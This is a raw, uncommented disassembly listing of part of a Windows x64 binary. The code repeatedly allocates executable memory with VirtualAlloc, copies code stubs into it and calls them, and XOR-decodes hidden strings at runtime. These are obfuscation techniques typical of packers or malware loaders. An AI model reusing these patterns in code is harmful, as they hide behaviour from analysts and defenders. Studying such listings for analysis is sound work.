lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x25b0]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x140016c00
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x140016bed
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x140016bd0
jmp 0x140016c00
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x140016cf6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016c29
mov r8, r12
jmp 0x140016cce
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016c40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a90]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x25b0]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x4a0], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xa38]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x25c8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x25c8]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x140016da0
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x140016d8d
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x140016d70
jmp 0x140016da0
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140016e96
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016dc9
mov r8, r12
jmp 0x140016e6e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016de0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a98]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x25c8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x25e0]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x25e0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x140016f1a
lea rdx, [0x140021750]
cmp rax, rdx
je 0x140016f07
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x140016ef1
jmp 0x140016f1a
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x140017008
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140016f43
mov r8, r12
jmp 0x140016fe0
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140016f52
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x4a0]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x25e0]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x25f8]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x25f8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x140017089
nop dword [rax]
cmp rax, rbx
je 0x140017076
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140017060
jmp 0x140017089
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001716f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400170b2
mov r8, r12
jmp 0x14001714e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400170c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a98]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x25f8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2610]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2610]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400171ec
cmp rax, rbx
je 0x1400171d9
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x1400171c3
jmp 0x1400171ec
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x1400172cf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017215
mov r8, r12
jmp 0x1400172ae
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017220
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a90]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2610]
call fcn.140009fa0
mulsd xmm6, xmm8
addsd xmm6, xmm9
subsd xmm6, xmm10
lea rcx, [rbp + 0x2628]
call fcn.140009fa0
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xa40]
call fcn.140021e00
mov rbx, rax
mov dword [rbp + 0x98], 3
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
movsd qword [rbp + 0x4a8], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2640]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2640]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x1400173ad
cmp rax, r14
je 0x14001739a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140017384
jmp 0x1400173ad
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x140017490
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400173d6
mov r9, r12
jmp 0x14001746f
mov rax, r14
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400173e1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x4a8]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2640]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xa48]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
movsd qword [rbp + 0x4b0], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2658]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2658]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x140017559
nop dword [rax + rax]
cmp rcx, r14
je 0x140017546
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x140017530
jmp 0x140017559
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001763f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140017582
mov r8, r12
jmp 0x14001761e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140017590
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2658]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
test al, 1
jne 0x14001768e
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001769d
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1586], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0xdf50]
test bl, 1
jne 0x140017725
lea rcx, [rbp + 0x1590]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x140017745
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x1998]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x1400176c0
sub rdi, 1
jne 0x1400176b0
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0xdf50]
lea rcx, [rbp + 0x1590]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1586]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x17d0]
call fcn.1400047a0
sub r15, 1
jne 0x140016810
lea rcx, [rbp + 0x4b8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a30]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x140016800
lea r14, [0x140021950]
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2d00]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1890]
call fcn.140021e60
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xa50]
call fcn.1400213f0
mov rbx, rax
mov dword [rbp + 0x9c], 0x1c2
mov edx, 0x18
lea rcx, [rbp + 0x2670]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2670]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006b1a0]
test rcx, rcx
je 0x140017881
cmp rcx, r14
je 0x14001786e
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6b1a0]
test rcx, rcx
jne 0x140017858
jmp 0x140017881
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x685a0]
test r8, r8
jne 0x14001796f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400178aa
mov r8, r12
jmp 0x14001794e
mov rax, r14
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400178c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006be40]
mov qword [r13 + rax*8 + 0x6b1a0], r14
mov qword [r13 + rax*8 + 0x685a0], r8
inc rax
mov qword [0x14006be40], rax
lea rdx, [rbp + 0x9c]
mov rcx, qword [rbx]
call r8
nop
lea rcx, [rbp + 0x2670]
call fcn.140009fa0
lea rdx, [rbp + 0x1390]
lea rcx, [rbp - 0x75]
call fcn.14000a320
mov r11, rax
mov r9d, r12d
mov r12d, dword [0x140065098]
cmp r12d, 2
jl 0x140017b91
movdqa xmm9, xmmword [0x14005afe0]
movdqa xmm6, xmmword [0x14005b070]
movdqa xmm8, xmmword [0x14005b060]
movdqa xmm10, xmmword [str.ffff]
movdqa xmm11, xmmword [0x14005b000]
movdqa xmm12, xmmword [0x14005b020]
mov rcx, rax
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm10
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm10
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0xc8
jl 0x1400179f0
cmp r9d, 0xcb
jge 0x140017bfa
movsxd rax, r9d
lea r10, [r11 + rax*2]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3e
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x1d
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xcb
jl 0x140017ba0
mov rdx, r11
lea rcx, [rbp + 0x24d0]
call fcn.140021590
nop
lea rdx, [rbp + 0x154b0]
lea rcx, [rbp + 0x24d0]
call fcn.140021480
lea rdx, [rbp + 0x1280]
lea rcx, [rbp - 0x74]
call fcn.14000a3b0
mov r11, rax
xor r9d, r9d
cmp r12d, 2
jl 0x140017e21
movdqa xmm9, xmmword [0x14005afe0]
movdqa xmm6, xmmword [0x14005b070]
movdqa xmm8, xmmword [0x14005b060]
movdqa xmm10, xmmword [0x14005b000]
movdqa xmm11, xmmword [str.ffff]
movdqa xmm12, xmmword [0x14005b020]
mov rcx, rax
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
